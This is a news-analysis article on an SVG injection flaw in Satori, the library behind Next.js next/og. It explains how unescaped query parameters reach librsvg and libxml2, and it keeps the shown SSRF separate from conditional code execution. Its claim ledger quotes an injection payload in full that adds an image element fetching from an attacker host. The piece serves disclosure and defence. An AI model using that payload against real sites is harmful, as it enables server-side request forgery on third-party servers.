Next.js next/og passed unescaped input into the SVG that libvips, librsvg and libxml2 parse
Satori, the JSX-to-SVG step behind Next.js next/og, put external input into SVG unescaped, per a dev.to explainer of CVE-2026-94545. The explainer says code execution would need the injected SVG to corrupt memory in a native parser, while SSRF needs only the injection.
The Engineer · Build desk
Five actors. Routes: the example puts the URL title into ImageResponse. Satori: inserted values as-is before the fix. Attacker: picks the tag; an image href gives SSRF. sharp, libvips: pass parsing to librsvg, libxml2. Explainer: memory corruption there can mean code execution.
- exposure ImageResponse routes Example route puts the title query param into ImageResponse JSX; explainer calls title attacker-controlled, claim 11
- constraint Satori (preprocess.ts) Before the fix, built each SVG attribute with a plain template literal inserting the value as-is, claim 5
- capability Attacker Picks the tag: an image with external href gives SSRF; foreignObject or style opens another parsing path, claim 8
- exposure sharp and libvips sharp delegates SVG parsing to libvips, which calls native libraries such as librsvg and libxml2, claim 9
- exposure librsvg and libxml2 Explainer says memory corruption while they parse it can mean code execution with server privileges, claim 13
| Who | How | Kind | Claim |
|---|---|---|---|
| ImageResponse routes | Example route puts the title query param into ImageResponse JSX; explainer calls title attacker-controlled | exposure | 11 |
| Satori (preprocess.ts) | Before the fix, built each SVG attribute with a plain template literal inserting the value as-is | constraint | 5 |
| Attacker | Picks the tag: an image with external href gives SSRF; foreignObject or style opens another parsing path | capability | 8 |
| sharp and libvips | sharp delegates SVG parsing to libvips, which calls native libraries such as librsvg and libxml2 | exposure | 9 |
| librsvg and libxml2 | Explainer says memory corruption while they parse it can mean code execution with server privileges | exposure | 13 |
What happened
- Before the fix, Satori's preprocess.ts built each SVG attribute with a template literal that inserted the value as-is.
- In the explainer's example, a title of A"><image href=... /> ends the attribute early and adds an image element at sibling level in the SVG.
- The assembled SVG goes to sharp, which delegates parsing to libvips, and libvips calls librsvg and libxml2.
- The explainer says code execution follows if the crafted SVG triggers memory corruption in librsvg or libxml2, running with the server process's privileges.
Why it matters
- exposure A route that feeds a query parameter into ImageResponse is reachable by anyone who can send a GET, and the explainer says such routes are almost always public with no login.
- constraint Severity for a given deployment depends on the libvips, librsvg and libxml2 builds it ships, because only a memory bug in those parsers turns the injection into code execution.
- capability The attacker picks the injected tag, so an image href gives server-side requests while foreignObject or style open other parsing paths.
The attribute path gets the example, but the text path has the same hole. For anything that is not an object, the pre-fix code returns String(node) [6]. The pre-fix code has no step that maps double quotes, angle brackets or ampersands to entities [10]. In our view the serializer is the right place for the repair: once the pieces are joined into one string and handed to sharp [9], nothing in the string marks which characters came from the request. A template literal like that works on every title a developer is likely to test with.
The injection is shown end to end. The example payload produces a new image element in the assembled SVG [7], and an image element with an external href is an SSRF primitive [8]. Code execution is a separate claim. The explainer ties it to a memory-corruption bug in a native parser [13], and its example payload only injects an image tag [14]. We'd treat the injection as established by the code shown and the RCE as conditional on a parser flaw.
Reach depends on conditions. The explainer says two must hold, and the first is that ImageResponse runs on the Node.js runtime [12]. The text we have breaks off before the second condition and does not name a fixed release or the memory bug that code execution would need.
Everything here comes from one dev.to explainer. Its description of the route pattern (a query parameter read straight into JSX [11]) is a common way to build these endpoints, and the explainer's own claim is that they are almost always public [2]. That is a statement about typical deployments. Each app still has to be checked for whether it passes request values into ImageResponse.
What to watch
- A CVE record or vendor advisory that gives fixed Satori and Next.js versions and a severity score.
- A public proof that an injected SVG crashes or executes code in librsvg or libxml2, which would move RCE from conditional to shown.
- The second condition in the explainer's list, which the available text cuts off.
Clarity's read
What the record supports and how the coverage leans. The claims behind it follow.
Reality
- Evidence50
- Adoption
- Insufficient
- Hype gap+25
- Incentives
- Insufficient
- Confidence45
Claim ledger
Ranked by verification strength, evidence, and original report placement.
- [1]
Next.js's next/og module generates Open Graph images from JSX and CSS.
- [2]
Because it is routine to drop external input such as a blog post title or profile name into the image, the explainer says the feature is almost always exposed as a public endpoint reachable with no login.
- [3]
ImageResponse converts JSX into an SVG string internally through a library called Satori.
- [4]
During the JSX-to-SVG conversion, characters such as double quote, < and > inside attribute values or text were inserted into the SVG string as-is.
- [5]
Before the fix, Satori's src/handler/preprocess.ts serialized each SVG attribute with a plain template literal that inserted the value _v as-is.
- [6]
Before the fix, Satori's preprocess.ts returned String(node) for any non-object node, so text content was stringified and never escaped.
- [7]
In the explainer's example, a title of A"><image href="http://attacker.com/payload.svg" width="500" height="500"/> ends the attribute early and becomes a new sibling-level SVG element.
- [8]
Which tag gets injected is up to the attacker: an image tag with an external href gives SSRF, and breaking into foreignObject or style opens a different parsing path.
- [9]
The assembled SVG string is handed to sharp, which delegates SVG parsing to libvips, which in turn calls native libraries such as librsvg and libxml2.
- [10]
In the pre-fix code there is no step that turns double quote, <, > or & into their entity equivalents.
- [11]
The explainer's example route reads title from req.nextUrl.searchParams and places it in the JSX passed to new ImageResponse, and the explainer calls title entirely attacker-controlled.
- [12]
The explainer says two conditions must hold for the attack to work; the first is that ImageResponse must run on the Node.js runtime. The available text breaks off before the second.
- [13]
The explainer says remote code execution with the privileges of the Next.js server process can result if the crafted SVG structure triggers memory corruption while librsvg or libxml2 parse it.
- [14]
The example payload only injects an image element, which the explainer ties to SSRF; code execution additionally depends on a separate memory-corruption condition in the native parser, so RCE is conditional on a second flaw.
Get this ledger inside ChatGPT. Ask about any of our stories and the answer brings its figure, each claim’s verdict and the sources. Free, no account.
Sources
1 independent publisher whose own reporting we read for this story.
- dev.toCVE-2026-94545 Explained: What Happens When an OG-Image Generator Forgets to Escape
1 article · October 13, 2026
Topics and entities
Follow any of these and your For You feed starts watching them — no settings page required.
Topics
- SVG injectionFollow
- Server-Side Request ForgeryFollow
- Remote Code Execution SurfacesFollow
- Open Graph image generationFollow